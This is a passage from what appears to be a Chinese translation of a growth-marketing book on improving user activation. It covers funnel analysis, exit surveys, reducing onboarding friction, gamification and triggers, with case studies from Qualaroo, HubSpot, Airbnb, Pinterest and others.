SiteCatalyst这样的网站分析工具都能基于具体事件创建漏斗，并且提供各种各样富有创意并且实用的渠道可视化和跟踪工具。有时情况会稍微复杂一些，尤其是当创建激活漏斗牵涉多个数据源的时候。但是，即使要在其他地方寻找数据，数据专家也能找到真正具有挖掘价值的数据源，创建出漏斗报告。（再一次说明了为什么每个增长团队都需要一位数据分析师！）\n团队成员分析数据时惊讶地发现，大量App用户将商品放入购物车后没有添加信用卡信息就离开了页面。而且许多用户搜索的商品数量并不多，相比之下，那些下载App后的第一周最活跃的用户第一次访问App就浏览了许多商品。他们还发现，那些使用购物清单功能的用户完成购买的比例很高，而且其中许多人后来都成了回头客。\n有了这个数据就能清楚地看出，最大的障碍在于结算体验。所以接下来团队需要试验如何让用户更轻松地结算，或许可以尝试一种新的更加便捷的支付方式。同时，考虑到新增用户的搜索量不高，团队还应该试验怎样鼓励初访者浏览更多商品，例如可以让用户更轻松地在App主屏上搜索商品，或者通过突出显示各种特价商品来让搜索更具吸引力，或者在醒目的位置向用户推荐App上值得探索的内容（比如设置一个“最受欢迎产品”界面）。\n所以，有很多改进方法可供团队选择。但是，在他们开始试验之前，还有一个数据挖掘的工作要做：他们必须走到用户当中去开展用户调查和访问，进一步找出数据所揭示的用户行为背后的原因。这将极大帮助团队缩小关注范围，找出最具潜力的增长手段。\n肖恩创建的在线问卷调查公司Qualaroo的增长团队通过这种方法找到了提高转化率的增长手段。通过深度分析用户数据，找出免费试用Qualaroo后购买产品的用户和试用后最终没有购买的用户之间存在的差异，我们发现那些最终购买产品的人当中大多数在试用调查问卷时收到了至少50条反馈。因为产品的“啊哈时刻”是从调查问卷中获得对行动有指导意义的用户反馈，所以我们断定50条问卷反馈是一个拐点，超过这个数字，调查问卷的价值就显现出来了。\n为了让更多用户体验到“啊哈时刻”，我们做了许多试验来提高新的试用者从每份调查问卷中获得至少50条反馈的概率。我们针对如何选择问卷调查类型从多个方面加强了用户教育，比如编写了新的邮件营销文案，推出视频教程，指导用户针对不同类型的问题选择不同类型的问卷，以及在哪里开展问卷调查等。我们还把向新用户推荐的问卷调查改为那些应用范围更广、回复率更高的问卷，比如净推荐值调查。最后我们交给了负责用户成功购买的团队一个任务，要他们主动联系访客，向他们提供关于问卷发布的建议。所有这些试验使我们在产品成本翻了三倍的情况下仍然大幅提高了用户激活率。\n用户调查中的注意事项\n你可能有过这种经历：当你在App或者网站上浏览页面或者准备买什么的时候眼前突然跳出一个问卷调查。对增长黑客专家而言这可能是非常有效的发掘工具，但对于用户来说却很令人厌烦。为了得到最有用的反馈并且确保它不会令人反感，问卷调查必须非常简短且发出时必须满足两个主要条件：（1）用户活动反映出用户的困惑，例如他们在某个页面上停留时间过长，或是离开了App某个屏或者网站某个页面；（2）用户刚刚完成很多人没有完成的步骤，例如创建账户或者点击购买。这两种情况下开展问卷调查可以让我们获得宝贵的洞察，弄清楚用户为何决定完成下一个步骤，或者为何没有这样做。\n我们建议最多提一两个问题，既可以是开放式问题也可以是选择题。我们更倾向于开放式提问，因为这样可以避免引导用户按照你的先入之见来回答问卷。让用户畅所欲言往往能带来意想不到的结果。比如，也许食品商店App团队认为顾客没有结算明显是因为支付方式过于复杂。但是，问卷调查结果可能显示更主要的原因是用户不确定自己是否需要承担运费，或者可能是他们忘了可以让他们享受首次购物折扣的优惠码。这样的定性信息是无法单靠硬数据获得的，这也是为什么开展用户问卷调查是整个过程中的重要一环。\n如果你有用户的联系方式，就可以通过邮件或者电话这种直接的交流方式询问他们这些问题。\n对于那些浏览后就“跳出”、没有留下任何联系方式的用户，你可以设计出只有当用户的浏览行为暗示他们即将离开页面或界面时才跳出的调查问卷（诸如BounceExchange、Qualaroo、Qualtrics这样的网上调查公司都可以提供此类工具）。你一定会惊讶地发现，很多人都愿意在离开前停下来回答你的问题（问卷越简洁回应率也会越高）。这种情况下，你需要询问用户为何不迈入下一步。提问可以包括：\n• 在这个环节有没有什么因素阻碍你注册？\n• 你是出于什么顾虑而没有完成订单？\n• 你今天没有购买任何商品是什么原因？\n• 你需要知道什么样的信息才会放心地注册？\n要想知道用户为何会在某个节点放弃购买，最有用的回答往往来自那些没有放弃购买的用户。这看似有违直觉，却是事实。例如，要弄清为何这么多人在访问商店App之后没有下单，增长团队应该调查那些刚刚完成购买的用户。毕竟，这些成功下单的用户同样遇到了令其他顾客却步的障碍，而且他们还可能道出当别人离开时他们为何仍然选择继续购买。因此，App团队可以在订单确认页面显示一个简短的问卷调查，询问顾客“哪个因素让你差点放弃购买？”我们发现，用户对于“哪个因素”这个问题的反应率极高，有一些回答甚至让人瞠目结舌。当然，你所提的问题需要根据你询问的流失节点而定。还可以提一些其他的问题：\n• 你希望在这个页面找到什么？\n• 此页面是否包含你想找的信息？\n• 今天你访问我们的网站/App是出于什么原因？\n• 今天是什么促使你下单？\n• 我似乎应该能够在这个页面上……（做什么）\n• 我们的结算流程还有哪些地方有待提高？\n一旦团队完成这些工作，他们手中就既有数据又有用户反馈，此时就可以开始评估第一轮试验想法了。我们假设他们决定优先进行两个试验。因为问卷调查结果显示，用户没有购买就离开通常是因为他们记不住优惠码，所以团队应该尝试将用户首次购物的优惠码自动添加到结算页面。这个改变不仅可能优化结果，而且还比完全重新设计App购物车更快更省钱。\n此外，数据显示，那些将商品加入新购物清单的用户中有许多人最后都完成了购买。这让团队决定测试在用户安装App后在App主屏醒目的位置推广购物清单功能。\n完成这些改变后激活率开始上升。但是团队可能还需要针对每个想法进行多个试验才能优化激活。一定要记住，增长黑客法中永远没有一劳永逸的灵丹妙药，看起来绝妙的想法也有可能失败。\n坚持到底终将获得回报\n为了说明这个过程中你会有怎样出人意料的发现，我们来仔细看一看Hubspot的增长团队为提高新产品Sidekick的使用率而进行的一系列试验。Sidekick可以帮助销售人员跟踪监测邮件推广的效果，当时这个产品正在经历所有刚上市的新产品都面临的问题：口碑营销实现了很高的有机获客，但激活率却依然低迷。为了弄清楚原因，Sidekick团队首先深入分析数据，寻找试用后一直使用产品的用户与安装Sidekick后一次也没用过的用户之间存在的差异。\n首先，他们将用户按照相同特征进行分类。他们首先考虑的是普遍存在的差异，比如按照谷歌、脸谱网这些不同流量源来分类。然后按照用户的职业、发送邮件的类型、使用Sidekick的目的，比如是进行销售勘探、公关宣传还是出于其他目的，以及用户使用的邮件服务商（例如是Gmail还是Outlook）等因素来进一步分类。他们发现，那些用工作邮箱注册的用户相比使用个人邮箱注册的用户激活率更高。因此，他们做的第一步就是测试让人们使用工作邮箱而非个人邮箱注册。（我们在Qualaroo也有同样的发现，所以我们在注册表中通过语言引导用户使用工作邮箱，如果他们的邮件是以@gmail.com或者@hotmail.com结尾的话就无法完成注册。）\n他们还有另一个发现：那些没有成为活跃用户的人当中大部分在安装完应用后发出的邮件数不超过一封。为了探明原因，团队开始从弃用产品的用户那里收集反馈意见。他们拿到结果时着实吃了一惊，因为用户之所以弃用是因为他们不知道如何使用产品。过去团队一直确信他们的App简单易懂、操作方便，一旦安装，Sidekick马上就能在后台运行。但数据显示完全不是那么一回事儿。因此团队得出结论，应该就教育用户的方法进行试验，帮助他们学会使用这个邮件跟踪功能。\n团队尝试在访客完成安装后进入的着陆页上增加不同类型的使用说明，并且就通过视频向用户展示如何使用产品的做法进行测试，还向访客展示了一份在使用这个产品时会收到的显示已发送邮件状态的报告样本。但结果令他们很失望，没有一种试验最终提高了激活率。团队一共进行了11项试验，但问题依然没有得到解决。这时，备感困惑的团队决定退回去重新分析数据。也许用户教育不是症结所在，问题的关键可能在于如何让用户更快地体验到“啊哈时刻”。如果安装完成后不跳转到着陆页，而是出现一条信息告诉用户已经完成安装可以开始发送邮件，效果又会怎样呢？这一次试验成功了。这条信息似乎就是用户最需要的触发物，促使他们开始使用App，这个App的实用性很快就会令他们着迷。所以增长团队就增加了这条信息，激活率随之大幅提高。\n但团队并没有就此罢休。他们接着又进行了68个不同的试验，其中一些有成效，一些没有，但许多试验给他们带来不少意外的发现。所有这些都给了他们灵感和启发，最终激活率大幅上升。这就是一个正确运用增长黑客法的完美例子。\n我们可以从这里学到的关键一点是：你无法预知哪些试验最有效。你所能做的只是保持灵敏并且靠数据说话：根据你的发现不断调整试验，而且如果试验不像之前假设的那样有效，那就得随时准备做出调整并尝试其他方法。\n尽管肯定存在一套提高激活率的最佳做法，而且我们接下来也会介绍，但是不能把它们当作必须遵守的操作规则，只能把它们看作范例和试验的灵感源泉。记住，每个产品都不一样。如果仅仅关注具有共性的问题而没有找到你的特定用户群面临的激活障碍，那么你将永远不会成功。\n最根本的一点是：没有捷径。但是，如果按照前面介绍过的三个步骤来操作，那么你就能迅速发现可以显著提高产品激活率的思路和洞察。我们再来回顾一下这些步骤：明确让用户体验到“啊哈时刻”所需的所有步骤；创建一个显示每个步骤转化率的漏斗报告并按照访问渠道对用户进行分类；对那些在流失率很高的环节依然继续使用产品的用户以及弃用产品的用户进行问卷调查和采访，找出流失原因。你可以基于这些信息设计出新的、具有很强针对性并且效果显著的试验，以改善激活。\n下面我们来看一看最常见的激活障碍，以及如何设计增长试验来避免这些障碍。\n消除用户体验中的摩擦\n在用户体验设计中，摩擦（friction）是指阻碍人们完成他们想完成的行动的令人心烦的障碍。比如，你正在读文章的时候眼前突然跳出一则广告，或者验证码中的字母过度扭曲，迫使你反复输入好几遍才成功提交表格。对于实物产品而言，比如咖啡机，摩擦可能是设置自动冲煮时间的程序复杂到令顾客抓狂。摩擦让人厌烦，这一点我们都深有体会。但需要小心的是，我们很容易注意到自己使用的产品的摩擦，但往往看不到自己参与开发或者参与营销的产品的摩擦。这可能是因为我们太了解产品的工作原理，所以我们的大脑根本想不到那些阻碍。当设计师看到用户磕磕绊绊地使用自己设计的产品时，才惊讶地发现用户使用产品时竟然遇到那么大的困难。我们将大量注意力放在如何消除在线产品的用户体验中的摩擦，但其实摩擦无处不在。它可能是电商平台上要求用户先创建账户再购买商品的结算页面，也可能是要你对从未用过的App进行打分或评价的弹出式广告，还有可能是无法识别加拿大字母加数字邮编的美国邮编输入框。\n每遇到一个令人心烦的障碍用户都会想：“这值得吗？”如果产品价值不是足够清晰、吸引力足够大，那么哪怕很小的麻烦也会赶走用户，而且常常是永远将他们赶走。\n肖恩设计了一个简单的公式来帮助人们时刻记住不断减少摩擦的重要性：\n欲望–摩擦=转化\n如公式所示，访者越想得到产品，他们就越愿意克服更多的摩擦。这就是为何产品的早期用户对于新产品或者羽翼未丰的产品而言简直就是天使，因为当产品还存在严重瑕疵时，这些用户愿意使用产品，甚至不惜为此付费。摩根有一个令人羡慕的Gmail邮箱地址，这是因为当Gmail还处在试用阶段时，他为了得到想要的Gmail邮箱地址竟然到易贝上去购买Gmail可遇而不可求的邀请码。欲望如此强烈的用户（这也可被当成一种疯狂）愿意忍受各种问题和麻烦带来的不便，但其他人却不会。\n为了优化激活，你既可以增强用户欲望也可以降低他们遇到的摩擦。不过，让产品更加完美通常比发现和消除摩擦更困难。换句话说，消除摩擦是垂得更低的果实，这也是为何许多最成功的增长团队在这个方面下了很大功夫。\n你可以把漏斗转化报告看作寻找用户旅程中摩擦源的路线图。有时只需要找到流失严重的节点就能发现应该首先消除或者重新设计哪些障碍点，并设计出相应试验，常见的例子包括下载缓慢以及购物车故障等等。但是，也许最大的摩擦点就是整个用户旅程的起点——新用户体验。\n优化新用户体验\n设计并优化新用户体验，首要原则是将其视为用户与产品的一次独一无二的邂逅。新用户体验应该被当成一个独立的产品。也就是说，你需要设计一种独特的体验来吸引用户一直使用产品并看到产品带来的价值。创造独立的体验意味着在网络产品本身或者非网络产品的公司或品牌网站上创建一系列独立的页面。这样做的一大好处是可以使增长团队更容易地试验新用户体验，因为这样他们就不用担心试验干扰到现有用户的使用体验。\n第二个原则，新用户体验的第一个着陆页必须完成三个根本任务：传达相关性，展示产品价值和提供明确的行为召唤。布莱恩·埃森伯格（Bryan Eisenberg）被誉为转化率优化教父，他将这三个要素称为“转化三位一体”（conversion trinity）。相关性是指网页与访客目的和欲望之间的匹配度：“这是他们想要的吗？”展示产品价值是指迅速并且简洁地回答访客的疑惑：“我可以从中得到什么？”最后，行为召唤为访客提供一个极富吸引力的下一步行动。所有这些都是企业应该自然而然就能想到的，但遗憾的是，大多数着陆页要么没有这些要素，要么要素不完整。\n优化页面通常需要进行许多语言方面的试验。和前面一样，这不仅包括试验品牌标语和行为召唤，还包括为图片所配的文字信息以及出现在网页分区或者某些角落的文字表述。和文字表述同样重要的还有页面的美感。所以你需要测试文字和图片大小、位置以及比例。测试页面简化、文字和（或）图片的删减也同样重要，有时则需要增加一些解释性的文字和（或）图片。\n简而言之，应该对新用户体验的所有要素仔细进行问题排查。在这一方面，有两大策略经实践证明可以十分有效地消除摩擦并且广泛适用于各种业务和产品。\n单点登录\n简化注册过程是试验的关键内容之一，因为通常情况下减少人们必须提供的个人信息可以大幅提高注册量。现在脸谱网、推特、领英、谷歌等公司已经为网络和移动开发商提供了简单的登录应用，用户可以通过已有账号进行注册，这个功能被称为单点登录（single sign-on）或者社交账号登录(social sign-on)。它在降低注册过程中的摩擦方面堪称规则颠覆者：只需点击鼠标就能创建新账户。这可以极大改善转化，对移动设备更是如此，毕竟在移动设备上录入数据更麻烦。\n尽管使用单点登录的通常是消费品公司，但它同样适用于B2B企业，数据分析公司Kissmetrics对此就深有体会。这家公司的增长团队曾试验将“用你的谷歌账号登录”作为公司主页上唯一一个行为召唤，没有输入邮箱账号和密码的选项，只能与谷歌账号绑定，除此之外别无他法。按Kissmetrics联合创始人尼尔·帕特尔的说法，他们的注册量几乎在一夜之间飙升了59.4%。但我们在前面也提醒过大家，对产品A有效的方法并不一定适合产品B。所以，虽然这样的改变很诱人，但首先必须对它进行测试。在英曼，摩根的团队测试取消单点登录后转化率提高了24.8%。所以并不存在一招鲜的增长手段。\n翻转漏斗\n要减少阻碍用户迅速体验“啊哈时刻”的摩擦，最大胆的做法是翻转漏斗（flip the funnel）。也就是说，在邀请访客注册之前先让他们体验产品带来的乐趣。HelloBar（免费网站置顶通知工具）就利用这个策略极大地提升了激活率。利用HelloBar，网络营销团队可以轻松向网站访问者展示重要的即时信息。他们先让用户编写好HelloBar信息，等到一切就绪，也就是用户已经花时间创建好第一条个性化信息之后，公司才邀请用户注册。这将激活率提升了52.11%。\n同样，在线支付公司Stripe先给用户提供一小段代码，使他们可以马上使用产品，等到发生真正的资金交易时才要求用户提供账户细节。这使更多潜在用户在决定创建账户之前能够试用产品并体验到“啊哈时刻”。这个方法对于非网络产品同样奏效。时尚眼镜品牌Warby Parker会在顾客购买前给他们寄去五副镜框，让他们选出自己喜欢的款式，最后才让顾客决定买哪一副。这些公司都翻转了典型漏斗中的一些关键节点，从而成功地消除了摩擦。\n优化与阻力的角力\n通常，在提升新用户激活率时你可能需要靠增加阻力来引导用户进入后续环节。一方面要引导用户完成整个过程并最终实现激活，另一方面又不能给用户带来过多负担，令他们望而却步。Airbnb就通过一系列试验实现了这二者间的微妙平衡。通过分析数据Airbnb发现，绝大多数注册用户都是在最后一刻也就是马上就要预订房间时才完成注册。Airbnb团队希望将激活时间提前到用户浏览房间时，这样他们就可以了解用户最感兴趣的地点和房间类型，之后用户想要预订房间时团队就可以更好地根据用户需求和喜好有针对性地向他们展示房屋特征，从而提高预订率以及用户对Airbnb的整体满意度。\n团队首先尝试了一个轻量级甚至是有些粗糙的试验（记住，在对试验进行优先排序时，从小处着手一定不会错！），他们在网站底部增加了一个醒目的长条说明注册的好处。如果访客对这个行为召唤无动于衷，他会在下一个页面乃至下下个页面看到新的注册提示。\n第一个试验的结果非常耐人寻味：注册率明显上升，但预订率却下降了。提示似乎阻碍了一些人继续搜索和预订。团队深入分析数据后发现，增加的注册量带来了许多有价值的回报，比如用户向潜在新用户发出了更多邀请以及新用户将更多房间放进心愿单，这让团队更加了解用户的偏好。接下来团队决定试验减小提示信息造成的摩擦，以同时获得更多的注册和更多的预订。\n他们专注于优化提示语的显示方式，包括提示的设计和出现的频率。在其中的一次试验中，团队将注册提示出现的频率从每个页面出现一次降低到每5个页面出现一次。改变提示频率后，之前上升的注册率降低了4个百分点，但提示对预订产生的负面影响完全消失了。团队还尝试给行为召唤配上更多文字信息以鼓励用户注册，包括插入对入住很满意的用户的评论以及一些说明注册价值的文字。结果十分出人意料，他们发现，增加文字说明竟然损害了注册率。他们分析这是因为文字干扰了用户，使他们分心。这是一种更为微妙的阻力类型。这类阻力并不会使用户感到反感，却阻止用户或访客完成你希望他们完成的行为。你只能通过试验来发现是否存在这种摩擦以及它会对激活产生怎样的影响。\nAirbnb团队进行了更多优化注册体验方面的试验。他们对注册提示的所有元素设计都进行了试验，比如主页上注册条的颜色和注册表格中的按钮风格，最终他们找到了既能提高公司整体注册率又可以改善其他重要指标的理想增长手段。\n积极的摩擦\n优化激活中最看似矛盾的一点是，并非所有的摩擦都带来负面影响。不给任何背景或线索，直接以最快的速度将人们扔向产品并不总是最佳做法。有时，你需要设置一些积极的摩擦（positive fiction）。创造积极摩擦是一种微妙的艺术，你要把可控的，最好是令人着迷的环节放到访客面前，帮助他们明白产品价值，让他们带着更大的可预测性去体验“啊哈时刻”。电脑游戏开发者将这种方法发挥到了极致。让用户迷上新游戏特别困难，因为首先必须向他们介绍游戏规则（毕竟如果用户不知道怎样在游戏中获胜就永远体验不到“啊哈时刻”，也就体验不到游戏带来的乐趣）。很多游戏的玩法和战术都相当复杂。为了解决这个问题，游戏开发者从心理学研究中寻找灵感，设计出十分吸引人的游戏说明。\n游戏开发者利用的关键研究之一来自心理学家罗伯特·西奥迪尼的商业经典著作《影响力：说服心理学》（Influence: ThePsychology of Persuasion）。书中提到，许多研究都表明，一旦人们采取行动，无论是多小的行动，只要不是太难，人们就会更倾向于未来继续采取行动。他对此的解释是，最初采取行动时人们在心理上做出了承诺，而且不管承诺的难度发生怎样的变化，人们倾向于在做出承诺之后通过后续行动来恪守承诺。游戏设计者精明地意识到，与其给用户提供游戏说明，不如先让他们做出承诺。他们需要通过一些简单的小步骤让用户开始游戏，让他们明白怎么玩并玩起来。\n游戏开发者还借鉴了心理学上许多其他强大的发现。一个是心理学上确立已久的原则：通过提供奖励可以训练人们条件反射式地做出某种行为；另一个是利用人们处在心流（flow）状态时感到的巨大满足感，这是心理学家米哈里·齐克森米哈里提出的理论。他指出，当人们面临的挑战难度刚刚好——没有困难到令人感到沮丧，但又没有简单到令人觉得无聊——这时人们就处在心流的状态。处在心流状态的人十分专注，他们可以忘掉时间的存在。比如，他们会一连三个小时作画、写文章或者进行App编程而感觉不到时间的流逝。当他们无意间抬头才吃惊地发现时间已经过去了那么久。如果你身边有爱玩游戏的人对你说过“再让我玩十分钟！”然后过去了无数个十分钟，你就会知道游戏玩家是多么容易进入心流状态。\n游戏设计者在创造新用户体验时借鉴了这个智慧的洞见：先让玩家挑战一些能够被迅速攻克的简单任务，每过一关就给他们奖励，以此来让他们熟悉游戏规则和环境，慢慢使他们沉迷其中。设计者通过精心设计不断提高游戏难度和奖励力度（他们在两个方面都做了大量试验），让用户对游戏着迷，从而进入心流状态。这种方法不仅适用于电脑游戏，许多其他类型的在线产品的设计者在设计新用户体验时也采用了相同的策略，从而大幅提升了激活率。他们通过为用户量身打造一系列行动向用户展示如何使用产品并向采取行动的用户提供奖励。比如当脸谱网提示新用户填写个人档案、上传照片并填写个人信息时，他们不仅是在收集对分析和广告销售很有价值的用户数据，而且他们也在让用户做出承诺。（既然我已经花了这么多的时间挑选照片编辑自己的信息，那我还是继续用下去吧。）任何曾经花几个小时完善自己的脸谱网个人资料的人都知道，这个过程能够让你完全沉浸在令你感到心满意足的心流状态。这个过程中，脸谱网让人们更加接近“啊哈时刻”，因为这个网站的核心价值在于帮助人们寻找朋友——这只能在每个人都完善自己的资料的前提下才能实现。\n人们放入产品的个人信息越多，他们对产品的忠诚度就会越高，这被称为储值（stored value）。就像把钱放进保险箱一样，将个人信息放进服务中会立刻让用户感到一种“所有权”，这让他们愿意继续增加并保有那个价值。所以尽管填写信息的提示可能是一个摩擦源，但如果操作得当——用奖励的方式通过行动逐渐提高用户承诺——摩擦也可以成为激活与增长的催化剂。\n创造学习流\n尽管新用户体验会有很多摩擦，但同时它也带来了很多机遇，这是因为人们初次接触产品时也是他们最想弄明白如何使用产品的时候。我们前面提到过的推特前增长负责人乔西·埃尔曼是这样描述新用户体验的：“这是属于你的时刻。现在用户对产品的关注比任何时候都要多，把握这个时机告诉用户产品真正的价值，真正帮助他们通过一种有意义的方式了解产品。”埃尔曼的团队设计出了他称为“学习流”（the learn flow）的方法来帮助推特把握这一时刻。根据埃尔曼的定义，学习流不仅可以促使人们注册，还能有效教育新用户，使他们了解产品优势、价值及使用方法。\n这种新用户体验设计利用了新用户在初次使用产品时给予你的大量关注和耐心，它能确保用户在体验结束时就可以被激活。对于推特来说，这不仅关系到创建新账户，而且还关系到从一开始就向用户展示推特的价值。它的团队设计出一个学习流来向用户展示推特时间线，向他们推荐可关注的话题类别（例如时尚、体育和新闻），鼓励他们关注名人，最后完善他们的个人资料。学习流结束时，用户不仅完成了注册并创建了自己的个性化档案，而且他们的首页显示都是他们感兴趣的新闻。如此一来，推特成功让用户第一次访问就决定使用这个服务、体验到它的“啊哈时刻”并且建立储存价值，真是一石数鸟！\n当然，因为推特的服务非常新颖，所以它需要用户养成新习惯。因此，教育用户，让他们认识到关注其他人的价值以及如何使用推特显得非常有必要。其他产品可能就不需要做这样的说明。例如，对于电商网站来说，人们通常希望尽可能快地开始浏览商品，而且大多数人往往十分清楚自己要买什么，所以，任何试图让用户按照你设计的流程去使用网站的做法都会引起用户反感。但对于另外一些产品来说，判断是否需要占用用户时间，让他们完成一系列规定的步骤就没那么容易了。这是因为尽管用户大概了解产品的使用方法，但是，从用户那里获取更多信息并向他们展示对用户个人有意义的产品功能可以让用户更深刻地体会到产品价值。当然，做出正确的判断离不开试验。Pinterest就是一个很好的例子。\n正如推特必须教育用户什么是“推文”（tweet）以及如何“发推文”（tweeting），Pinterest则需要向用户介绍“钉”（Pin）这个全新的概念并向他们展示如何创建钉。Pinterest的增长团队在教育新用户方面下足了功夫：他们通过三个移动学习流界面向用户展示如何发现“钉住”的内容，如何增加自己的钉，以及如何创建钉板（用户创建的用来存储和分享钉的收藏夹）。浏览完这三个界面后，Pinterest会向新用户发送最受欢迎的内容，之后用户就可以开始独立使用这个服务。\n不管以什么标准来看这都是十分不错的新用户体验。但他们接下来的做法堪称增长黑客法中的典范，团队决定继续开展试验，进一步优化激活。他们意识到，最受欢迎的内容对某位具体的用户来说并不总是特别有意义，于是他们决定在移动App上测试一种更加个性化的新用户体验。现在，用户最开始只会看到一个页面，要求他们在上面选出自己感兴趣并且愿意关注的五个话题，例如露营、婚礼、驾驶运动和家装等。用户做出选择后，App将跳转到仅由用户所选话题内容构成的信息源，在那儿用户可以练习钉图和保存图片。这个改变将激活率提高了20%，这无疑是一个巨大的成功。\n如果你决定引入一些积极摩擦，还有两种实践证明十分有效的策略：问卷调查和新用户体验游戏化。\n问卷调查是一门艺术\n杰出的增长黑客专家尼尔·帕特尔指出，在欢迎用户的同时向他们提一些问题是一种十分有效的做法。所提的问题应该明确围绕如何更好地服务用户，这就像是一份迷你问卷。帕特尔举了一个极为成功的案例：在线高尔夫零售商Revolution Golf要求用户在注册时填写一份问卷调查，事实证明，这对改善激活非常关键，从而帮助公司年收入突破了2000万美元。问卷涉及的问题包括访客性别、年龄、平均开球距离、18洞的平均得分以及挥杆动作存在的最大问题。帕特尔又在自己的HelloBar上测试类似的问卷调查，最终将销售线索数量提高了281%。\n询问用户有哪些兴趣或者他们希望解决哪些问题可以立即创造一种承诺，因为用户需要花时间回答这些问题。同时，用户与你和你的产品之间也建立起了更深层次的关系。这让用户知道，你对他们个人很感兴趣，你愿意尽你所能为他们提供最好的服务。就像Pinterest通过展示让用户感兴趣的钉来引导用户一样，Revolution Golf的问卷调查也让用户在初次使用产品时就获得个性化体验。\n如果能让用户清楚认识到产品满足他们的个性化需求和愿望符合他们的自身利益，那么这个策略的效果会更好。在一个人们越来越惧怕大数据的时代（有人说它是“老大哥”），个性化并非总是优势。例如，谷歌从用户搜索历史中收集大量的用户个人信息，然后通过一个复杂的算法实现个性化搜索结果。这种做法被曝光后许多人不再使用谷歌，公司也遭到媒体的口诛笔伐。\n还要提醒的一点是，不要提太多问题。帕特尔建议提问不超过5个，不能用开放式问题，而要使用选择题，并且每题的答案选项不能超过4个。加入图片和视觉效果可能有助于改善用户参与。和所有其他增长手段一样，这些微型问卷应该经过严格的试验。\n游戏化机制的利与弊\n从本质上讲，游戏化（gamification）是一种奖励机制，例如给那些采取了某个行动的用户提供其他人无法获得的奖励和好处。比如，Adobe（世界领先的数字媒体和在线营销方案的供应商）在破解激活的过程中就利用游戏化策略增加了免费试用并购买Adobe图像处理软件的人数。公司推出“图像处理软件闯关”新用户体验，成功将乏味的使用教程变为试用者需要完成的“任务”。这些任务帮助试用者学习软件最强大的功能，并向他们展示如何最大化地利用软件。用户一旦完成任务就会得到奖励，而且只有通过完成其他任务才能实现升级。这一举措使Adobe的使用后购买量增加了4倍。\n如果游戏化能够带来挑战和乐趣并提供有意义的奖励，那么它可能成为一个强大的激活手段。但它也可能起反作用。如果奖励没有任何价值，或者奖励与用户体验的核心价值毫不相关（也就是没有实现“产品—奖励匹配”），就会让人觉得这是在捉弄用户或是让人觉得莫名其妙。在线鞋店ZAppos针对贵宾客户提供的游戏化设计就是一个反例。这家公司希望通过购物体验游戏化将高频率消费客户的数量提高到一个新的水平。他们的做法是：如果客户做出诸如给一款鞋型点赞或者购买了几双鞋子等举动就给他们颁发勋章，但这些勋章毫无价值——既不能兑换成折扣也不能够带来其他任何好处。这让消费者感到困惑，最后ZAppos放弃了这种做法。\nKiip是一家帮助移动App给用户提供奖励的公司。它的创始人黄铁锋认为游戏化应该被看作一个能提供诸多选择的工具箱，而不是对所有公司都适用的一套预先设定的策略。你既可以选择比较含蓄的做法也可以选择更明显的做法。和任何事情一样，你需要通过试验来决定什么最有利于产品和用户。他建议专注于游戏化的三个主要方面：有意义的奖励，通过改变赢取和展示奖励的方法来创造惊喜和乐趣，以及提供能带来即刻满足感的要素。\n除了确保奖励的相关性和价值一目了然之外，在提供何种奖励方面还有一些严格规定。领英采用的是一种温和的游戏化做法，比如在用户个人主页上增加一个进度条来显示资料的完整度，以此敦促用户完善个人信息。当用户完整地填入个人资料时就能获得即刻满足感，还能得到浏览者对他们的默默肯定。在线教学平台可汗学院（Khan Academ）采用更明显的做法。用户学习的课程越多，得分和奖励就越多，而且如果用户创造了新的纪录还能获得一份惊喜。但可汗学院很谨慎，它知道这些奖励并非用户体验的核心内容，同时它还明白这些外在奖励会削弱学习过程中掌握新技能本身所带来的成就感，而这才是真正的内在奖励。\n最明显的游戏化做法是星巴克、信用卡公司以及很多餐馆实施的忠诚计划（loyalty programs）。游戏化专家盖布·兹彻曼发现游戏化做法中最有效的奖励包括地位（status）、权限（access）、权力（power）和实物（stuff）（指金钱奖励或者礼品）。像美国运通信用卡的会员积分计划就运用了所有这些元素，包括通过消费来提升地位、权利以及参加特别活动的权限和旅游机会，当然还可以使用积分兑换免费礼品。同样，星巴克奖励计划鼓励1200万会员，他们每使用星巴克礼品卡或者移动App买一杯咖啡就会赢得一颗“星”。会员可以拿星换取免费咖啡和其他星巴克商品，累积的星越多，用户可以兑换的礼品价值就越大，而且还能获得更高的会员级别，成为地位更高的星巴克忠诚客户。星巴克的这一奖励计划十分成功，现在顾客在星巴克礼品卡和App上充值的金额已经超过了10亿美元。\n触发物的力量\n游戏化做法并非对所有情况都适用，但触发物却无处不在。不过相比游戏化机制，使用触发物来改善激活需要更加谨慎。触发物是指任何刺激人们采取行动的提示。常见的触发物包括邮件通知、移动推送，还有更隐蔽一点的触发物，比如着陆页上的行为召唤。不可否认，触发物是提高产品使用率最强大的策略之一。但它的优点背后可能隐藏着大量陷阱。现在我们每天都会收到大量触发物，比如脸谱网推送的朋友给照片点赞的消息，领英发来的新联系人请求邮件，以及亚马逊关于包裹最新配送状态的通知。如果不能掌握好分寸，触发物很容易就从有用信息变成令人讨厌的垃圾信息。可能大家都被“回来吧！”“你确定真的不想回来？”“我们真的很希望你回来！”这样没完没了的邮件彻底激怒过吧。很多时候我们早就不再使用发邮件的公司的产品了，这让这些狂轰滥炸式的邮件更令人反感——同时也让这家公司看起来已经是穷途末路。所以使用触发物一定要非常小心，而且还要精心试验。\n触发物的力量来源于两个关键因素：它们能在多大程度上激发用户采取你希望他们采取的行动，以及用户收到触发物后付诸行动的难度。斯坦福大学的心理学研究员B. J.福格设计了下面这个有用的模型来帮助我们思考如何提高触发物的有效性。曲线代表的是用户是否愿意采取某个行动的阈值，它主要取决于两个因素：用户动机的强弱以及采取行动的能力，本质上也就是指完成这个行动的难易程度。\n图6–2 福格的行为模型\n《上瘾：让用户养成使用习惯的四大产品逻辑》（Hooked:How to Build Habit-Forming 